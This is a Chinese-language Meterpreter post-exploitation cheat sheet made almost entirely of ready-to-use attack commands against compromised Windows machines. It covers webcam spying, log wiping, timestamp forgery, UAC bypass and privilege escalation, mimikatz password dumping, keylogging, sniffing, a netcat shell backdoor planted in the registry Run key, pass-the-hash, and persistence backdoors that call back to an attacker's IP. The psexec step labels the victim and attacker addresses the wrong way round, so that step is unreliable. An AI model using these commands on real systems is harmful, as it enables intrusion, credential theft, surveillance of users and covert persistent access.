meterpreter使用
系统命令
基本命令
# 查看当前获取的shell
sessions -l
# 进入指定的shell
sessions -i <ID>
# 杀死会话
sessions -k <ID>
# 进入目标cmd
shell
# 将当前会话放置后台
background
## 进入到sessions后可使用的命令
# 查看已有模块
info
# 查看当前用户及其权限
getuid
# 查看当前进程的系统信息
getpid
# 查看当前活跃进程
ps
# 查看目标活跃时间
idletime
# 启动/关闭目标
reboot/shutdown
摄像头命令
# 查看摄像头列表
webcam_list
# 通过摄像头怕蛇
webcam_snap
# 通过摄像头开启视频
webcam_stream
进程迁移
# 将meterpreter会话迁移到指定pid中
migrate <pid>
# 杀死指定进程
kill <pid>
清除日志
# 清除windows中的应用程序日志、系统日志、安全日志
clearav
文件系统命令
-
基本命令
# 查看当前工作目录路径 pwd或getwd ls cd # 文件查询,支持正则表达式 search -f filename # 查看文件内容 cat filename # 上传文件 upload 目标路径 要上传的文件 # 下载文件 download 要下载的文件路径 下载位置 # 编辑文件 edit 文件路径 # 删除文件 rm filename # 创建目录 mkdir 目录 # 删除目录 rmdir 目录 # 查看攻击者当前目录 getlwd 或 lpwd # 切换攻击者的目录 lcd 目录
-
伪造时间戳
# 查看帮助 timestomp 文件路径 -h # 查看时间戳(一般需要权限) timestomp -v 文件路径 # 将文件1的时间戳复制给文件2(一般需要权限) timestomp file2 -f file1
网络命令
基本命令
# 查看网络信息
ipconfig/ifconfig
# 查看端口信息
netstat -ano
# 查看本地局域网所有的arp信息[IP+MAC]
arp
# 查看代理信息
getproxy
# 查看路由信息
route
端口转发
# 将目标主机的dest_port端口转发到本地local_port端口
portfwd add -l local_port -p dest_port -r 127.0.0.1
添加路由
# 查看帮助
run autoroute -h
# 添加到目标网络
run autoroute -s 192.168.159.0/24
# 查看已添加的路由信息
run autoroute -p
本地扫描
# 扫描指定网络[IP+MAX+主机信息]
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
# 扫描指定主机的指定端口
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.1 RPORT=3389
信息收集
信息收集的脚本默认位于:
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
常用的信息收集脚本如下:
#是否虚拟机
run post/windows/gather/checkvm
#是否虚拟机
run post/linux/gather/checkvm
#查看分区
run post/windows/gather/forensics/enum_drives
#获取安装软件信息
run post/windows/gather/enum_applications
#获取最近的文件操作
run post/windows/gather/dumplinks
#获取IE缓存
run post/windows/gather/enum_ie
#获取Chrome缓存
run post/windows/gather/enum_chrome
#补丁信息
run post/windows/gather/enum_patches
#查找域控
run post/windows/gather/enum_domain
提权
getsystem
getsystem
工作原理如下:
- getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道
- getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接
- Windows服务已启动,导致与命名管道建立连接
- 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌,然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程
bypassuac
# 先将当前meterpreter会话放置后台
background
# 使用bypassuac脚本
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
# 应用bypassuas脚本
use exploit/windows/local/bypassuac
set session 1
run
内核漏洞提权
# 查看补丁信息
run post/windows/gather/enum_patches
# 使用脚本
use exploit/windows/local/ms13_053_schlamperei
# 设置session
set session 1
# 启动
run
抓取密码
mimikatz
# help mimikatz 查看帮助
load mimikatz
# 获取Wdigest密码
wdigest
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
远程桌面&截图
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
开启RDP&添加用户
getgui[不推荐使用]
# 查看帮助
run getgui -h
# 开启远程桌面
run getgui -e
# 添加用户
run getgui -u username -p password
# 3389端口转发到6666
run getgui -f 6666 -e
enable_rdp
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
sniffer抓包
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
注册表操作
基本命令
reg –h
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据
设置nc命令
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
nc -v 192.168.159.144 443 #攻击者连接nc后门
哈希利用
获取哈希
run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限
PSEXEC哈希传递
通过
smart_hashdump
获取用户哈希后,可以利用psexec
模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 受害者IP
msf > set LPORT 445
msf > set RHOST 攻击者IP
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit
后门植入
persistence启动项后门
在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
run persistence –h #查看帮助
run persistence -X -i 5 -p 6666 -r 攻击者IP
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
连接后门
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 攻击者IP
msf > set LPORT 6666
msf > exploit
metsvc服务后门
在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter 个人觉得不是很好,容易被发现
run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
连接后门
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 攻击者IP
msf > set LPORT 31337
msf > exploit
扫描脚本
扫描脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
扫描的脚本较多
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login